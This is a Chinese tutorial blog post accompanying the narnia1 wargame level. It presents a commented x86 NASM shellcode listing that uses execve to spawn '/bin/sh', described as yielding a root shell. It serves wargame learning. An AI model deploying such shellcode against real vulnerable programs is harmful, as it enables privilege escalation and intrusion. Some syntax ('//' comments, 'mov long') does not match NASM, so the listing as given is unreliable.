欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]WarGame-narnia1-番外篇 shellcode的编写

[原创]WarGame-narnia1-番外篇 shellcode的编写

这是narnia level1 的番外篇,在做这一题之前必须要了解shellcode的编写细节(如果不想自己写shellcode,也可以直接在Google或者MSF里找),在开始shellcode编写学习之前,请在自己的Linux系统里安装NASM,shellcode代码如下

Section .text

  global _start

_start:

  jmp short     callShellcode

shellcode:

  pop           esi				//将’/bin/sh’从栈中取出,放到esi里

  xor           eax, eax			//eax置为NULL

  mov byte      [esi + 7], al		//因为eax置空了,所以用al里的NULL来结束’/bin/sh’字符串

  lea           ebx, [esi]			//将’/bin/sh’字符串放入ebx中

  mov long      [esi + 8], ebx		

  lea           ecx, [esi + 8]		//这两步是把argv数组写入了ecx,如果没有这两步,就算程序获得了root权限,也不能执行命令,不信可以去掉试试

  mov long      [esi + 12], eax

  lea           edx, [esi + 12]		//这两步是把eax中的NULL写入了edx,得到root权限后执行的命令需要有NULL来结束(因为命令也算是字符串)

  mov byte      al, 0x0b			//最后这一步是执行execve,0x0b=11,是execve的系统调用号(可查)

  int           0x80				//最后必须用0x80结尾

callShellcode:

  Call          shellcode

  db            '/bin/sh'

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功